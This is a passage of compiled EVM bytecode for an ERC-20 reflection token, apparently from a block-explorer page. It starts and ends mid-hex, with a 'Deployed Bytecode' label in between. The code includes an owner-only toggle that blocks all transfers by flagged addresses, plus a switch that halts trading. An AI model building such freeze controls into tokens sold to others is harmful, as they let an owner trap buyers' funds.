48036038101906104329190612e4f565b610d37565b005b6000610443610ff7565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c990612f2e565b60405180910390fd5b60006104dd83610fff565b50505050905061053581600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061058d81600654610fad90919063ffffffff16565b6006819055506105a883600e5461105790919063ffffffff16565b600e81905550505050565b6060600180546105c290612f7d565b80601f01602080910402602001604051908101604052809291908181526020018280546105ee90612f7d565b801561063b5780601f106106105761010080835404028352916020019161063b565b820191906000526020600020905b81548152906001019060200180831161061e57829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061067f610678610ff7565b84846110b5565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106a7848484611280565b610768846106b3610ff7565b6107638560405180606001604052806028815260200161374c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610719610ff7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc9092919063ffffffff16565b6110b5565b600190509392505050565b60006006548211156107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b190613021565b60405180910390fd5b60006107c4611960565b90506107d98184610f6390919063ffffffff16565b915050919050565b6000600360009054906101000a900460ff16905090565b60006108a1610805610ff7565b8461089c8560056000610816610ff7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b6110b5565b6001905092915050565b6000683635c9adc5dea000008311156108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f09061308d565b60405180910390fd5b8161091857600061090984610fff565b5050505090508091505061092e565b600061092384610fff565b505050915050809150505b92915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109cf57600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a1a565b610a17600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610773565b90505b919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e54905090565b606060028054610ab490612f7d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae090612f7d565b8015610b2d5780601f10610b0257610100808354040283529160200191610b2d565b820191906000526020600020905b815481529060010190602001808311610b1057829003601f168201915b5050505050905090565b60048054610b4490612f7d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612f7d565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b505050505081565b6000610c88610bd2610ff7565b84610c83856040518060600160405280602581526020016137746025913960056000610bfc610ff7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc9092919063ffffffff16565b6110b5565b6001905092915050565b6000610ca6610c9f610ff7565b8484611280565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d3f610ff7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc3906130f9565b60405180910390fd5b60011515600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610e82576000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f60565b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f3a1ed3c4204a32a5b508871331f80e0457d586a9494c9bb5c5ba17acfee38881600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610f57929190613119565b60405180910390a15b50565b6000610fa583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061198b565b905092915050565b6000610fef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118fc565b905092915050565b600033905090565b6000806000806000806000611013886119ee565b915091506000611021611960565b905060008060006110338c8686611a41565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846110669190613171565b9050838110156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290613213565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c906132a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c90613337565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112739190612d3e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906133c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113579061345b565b60405180910390fd5b600081116113a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139a906134ed565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114445750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561148d576000811461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390613533565b60405180910390fd5b5b60001515600f60009054906101000a900460ff16151514806114e157506114b2611a9f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061151e57506114ef611a9f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118a05761152b611a9f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115965750611567611a9f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115ab576115a6838383611ac8565b61189b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561164e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116635761165e838383611e3e565b61189a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117065750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171b57611716838383612091565b611899565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117bf5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117d4576117cf8383836122e4565b611898565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118765750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188b576118868383836124a2565b611897565b6118968383836122e4565b5b5b5b5b5b6118f7565b60001515600f60009054906101000a900460ff161515146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90613533565b60405180910390fd5b5b505050565b6000838311158290611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b9190612c0f565b60405180910390fd5b50600083856119539190613553565b9050809150509392505050565b600080600061196d61278a565b915091506119848183610f6390919063ffffffff16565b9250505090565b600080831182906119d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c99190612c0f565b60405180910390fd5b50600083856119e191906135b6565b9050809150509392505050565b6000806000611a1b602f611a0d6103e887610f6390919063ffffffff16565b612a5990919063ffffffff16565b90506000611a328286610fad90919063ffffffff16565b90508082935093505050915091565b600080600080611a5a8588612a5990919063ffffffff16565b90506000611a718688612a5990919063ffffffff16565b90506000611a888284610fad90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611ad382610fff565b505050509050611b2b81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c5657611c1282600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611ca881600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dd357611d8f82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e309190612d3e565b60405180910390a350505050565b6000806000806000611e4f86610fff565b94509450945094509450611eab86600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4085600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd584600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120228382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161207f9190612d3e565b60405180910390a35050505050505050565b60008060008060006120a286610fff565b945094509450945094506120fe85600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219382600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222884600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122758382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122d29190612d3e565b60405180910390a35050505050505050565b60008060008060006122f586610fff565b9450945094509450945061235185600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e684600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124338382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124909190612d3e565b60405180910390a35050505050505050565b60008060008060006124b386610fff565b9450945094509450945061250f86600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a485600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263982600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ce84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271b8382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127789190612d3e565b60405180910390a35050505050505050565b600080600060065490506000683635c9adc5dea00000905060005b600d80549050811015612a0e578260086000600d84815481106127cb576127ca6135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806128b957508160096000600d8481548110612851576128506135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156128d757600654683635c9adc5dea0000094509450505050612a55565b61296760086000600d84815481106128f2576128f16135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610fad90919063ffffffff16565b92506129f960096000600d8481548110612984576129836135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fad90919063ffffffff16565b91508080612a0690613616565b9150506127a5565b50612a2d683635c9adc5dea00000600654610f6390919063ffffffff16565b821015612a4c57600654683635c9adc5dea00000935093505050612a55565b81819350935050505b9091565b600080831415612a6c5760009050612ace565b60008284612a7a919061365f565b9050828482612a8991906135b6565b14612ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac09061372b565b60405180910390fd5b809150505b92915050565b612ae982600654610fad90919063ffffffff16565b600681905550612b0481600e5461105790919063ffffffff16565b600e819055505050565b600080fd5b6000819050919050565b612b2681612b13565b8114612b3157600080fd5b50565b600081359050612b4381612b1d565b92915050565b600060208284031215612b5f57612b5e612b0e565b5b6000612b6d84828501612b34565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612bb0578082015181840152602081019050612b95565b83811115612bbf576000848401525b50505050565b6000601f19601f8301169050919050565b6000612be182612b76565b612beb8185612b81565b9350612bfb818560208601612b92565b612c0481612bc5565b840191505092915050565b60006020820190508181036000830152612c298184612bd6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c5c82612c31565b9050919050565b612c6c81612c51565b82525050565b6000602082019050612c876000830184612c63565b92915050565b612c9681612c51565b8114612ca157600080fd5b50565b600081359050612cb381612c8d565b92915050565b60008060408385031215612cd057612ccf612b0e565b5b6000612cde85828601612ca4565b9250506020612cef85828601612b34565b9150509250929050565b60008115159050919050565b612d0e81612cf9565b82525050565b6000602082019050612d296000830184612d05565b92915050565b612d3881612b13565b82525050565b6000602082019050612d536000830184612d2f565b92915050565b600080600060608486031215612d7257612d71612b0e565b5b6000612d8086828701612ca4565b9350506020612d9186828701612ca4565b9250506040612da286828701612b34565b9150509250925092565b600060ff82169050919050565b612dc281612dac565b82525050565b6000602082019050612ddd6000830184612db9565b92915050565b612dec81612cf9565b8114612df757600080fd5b50565b600081359050612e0981612de3565b92915050565b60008060408385031215612e2657612e25612b0e565b5b6000612e3485828601612b34565b9250506020612e4585828601612dfa565b9150509250929050565b600060208284031215612e6557612e64612b0e565b5b6000612e7384828501612ca4565b91505092915050565b60008060408385031215612e9357612e92612b0e565b5b6000612ea185828601612ca4565b9250506020612eb285828601612ca4565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612f18602c83612b81565b9150612f2382612ebc565b604082019050919050565b60006020820190508181036000830152612f4781612f0b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f9557607f821691505b60208210811415612fa957612fa8612f4e565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061300b602a83612b81565b915061301682612faf565b604082019050919050565b6000602082019050818103600083015261303a81612ffe565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000613077601f83612b81565b915061308282613041565b602082019050919050565b600060208201905081810360008301526130a68161306a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130e3602083612b81565b91506130ee826130ad565b602082019050919050565b60006020820190508181036000830152613112816130d6565b9050919050565b600060408201905061312e6000830185612c63565b61313b6020830184612d05565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061317c82612b13565b915061318783612b13565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bc576131bb613142565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131fd601b83612b81565b9150613208826131c7565b602082019050919050565b6000602082019050818103600083015261322c816131f0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061328f602483612b81565b915061329a82613233565b604082019050919050565b600060208201905081810360008301526132be81613282565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613321602283612b81565b915061332c826132c5565b604082019050919050565b6000602082019050818103600083015261335081613314565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133b3602583612b81565b91506133be82613357565b604082019050919050565b600060208201905081810360008301526133e2816133a6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613445602383612b81565b9150613450826133e9565b604082019050919050565b6000602082019050818103600083015261347481613438565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006134d7602983612b81565b91506134e28261347b565b604082019050919050565b60006020820190508181036000830152613506816134ca565b9050919050565b50565b600061351d600083612b81565b91506135288261350d565b600082019050919050565b6000602082019050818103600083015261354c81613510565b9050919050565b600061355e82612b13565b915061356983612b13565b92508282101561357c5761357b613142565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135c182612b13565b91506135cc83612b13565b9250826135dc576135db613587565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061362182612b13565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561365457613653613142565b5b600182019050919050565b600061366a82612b13565b915061367583612b13565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136ae576136ad613142565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613715602183612b81565b9150613720826136b9565b604082019050919050565b6000602082019050818103600083015261374481613708565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220caf58b5e69c91c13fd0fdacd6b62854be3c7edcc3f636f78f56cae18c4e56e9564736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639d8d8406116100715780639d8d84061461036f578063a457c2d71461038d578063a9059cbb146103bd578063dd62ed3e146103ed578063f3294c131461041d5761012c565b806370a08231146102b557806370fe251b146102e55780637dafe6c1146103035780638336d9771461033357806395d89b41146103515761012c565b806323b872dd116100f457806323b872dd146101d75780632d83811914610207578063313ce5671461023757806339509351146102555780634549b039146102855761012c565b8063053ab1821461013157806306fdde031461014d578063081d2b3c1461016b578063095ea7b31461018957806318160ddd146101b9575b600080fd5b61014b60048036038101906101469190612b49565b610439565b005b6101556105b3565b6040516101629190612c0f565b60405180910390f35b610173610645565b6040516101809190612c72565b60405180910390f35b6101a3600480360381019061019e9190612cb9565b61066b565b6040516101b09190612d14565b60405180910390f35b6101c1610689565b6040516101ce9190612d3e565b60405180910390f35b6101f160048036038101906101ec9190612d59565b61069a565b6040516101fe9190612d14565b60405180910390f35b610221600480360381019061021c9190612b49565b610773565b60405161022e9190612d3e565b60405180910390f35b61023f6107e1565b60405161024c9190612dc8565b60405180910390f35b61026f600480360381019061026a9190612cb9565b6107f8565b60405161027c9190612d14565b60405180910390f35b61029f600480360381019061029a9190612e0f565b6108ab565b6040516102ac9190612d3e565b60405180910390f35b6102cf60048036038101906102ca9190612e4f565b610934565b6040516102dc9190612d3e565b60405180910390f35b6102ed610a1f565b6040516102fa9190612c72565b60405180910390f35b61031d60048036038101906103189190612e4f565b610a45565b60405161032a9190612d14565b60405180910390f35b61033b610a9b565b6040516103489190612d3e565b60405180910390f35b610359610aa5565b6040516103669190612c0f565b60405180910390f35b610377610b37565b6040516103849190612c0f565b60405180910390f35b6103a760048036038101906103a29190612cb9565b610bc5565b6040516103b49190612d14565b60405180910390f35b6103d760048036038101906103d29190612cb9565b610c92565b6040516103e49190612d14565b60405180910390f35b61040760048036038101906104029190612e7c565b610cb0565b6040516104149190612d3e565b60405180910390f35b61043760048036038101906104329190612e4f565b610d37565b005b6000610443610ff7565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c990612f2e565b60405180910390fd5b60006104dd83610fff565b50505050905061053581600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061058d81600654610fad90919063ffffffff16565b6006819055506105a883600e5461105790919063ffffffff16565b600e81905550505050565b6060600180546105c290612f7d565b80601f01602080910402602001604051908101604052809291908181526020018280546105ee90612f7d565b801561063b5780601f106106105761010080835404028352916020019161063b565b820191906000526020600020905b81548152906001019060200180831161061e57829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061067f610678610ff7565b84846110b5565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106a7848484611280565b610768846106b3610ff7565b6107638560405180606001604052806028815260200161374c60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610719610ff7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc9092919063ffffffff16565b6110b5565b600190509392505050565b60006006548211156107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b190613021565b60405180910390fd5b60006107c4611960565b90506107d98184610f6390919063ffffffff16565b915050919050565b6000600360009054906101000a900460ff16905090565b60006108a1610805610ff7565b8461089c8560056000610816610ff7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b6110b5565b6001905092915050565b6000683635c9adc5dea000008311156108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f09061308d565b60405180910390fd5b8161091857600061090984610fff565b5050505090508091505061092e565b600061092384610fff565b505050915050809150505b92915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109cf57600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610a1a565b610a17600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610773565b90505b919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e54905090565b606060028054610ab490612f7d565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae090612f7d565b8015610b2d5780601f10610b0257610100808354040283529160200191610b2d565b820191906000526020600020905b815481529060010190602001808311610b1057829003601f168201915b5050505050905090565b60048054610b4490612f7d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7090612f7d565b8015610bbd5780601f10610b9257610100808354040283529160200191610bbd565b820191906000526020600020905b815481529060010190602001808311610ba057829003601f168201915b505050505081565b6000610c88610bd2610ff7565b84610c83856040518060600160405280602581526020016137746025913960056000610bfc610ff7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc9092919063ffffffff16565b6110b5565b6001905092915050565b6000610ca6610c9f610ff7565b8484611280565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000837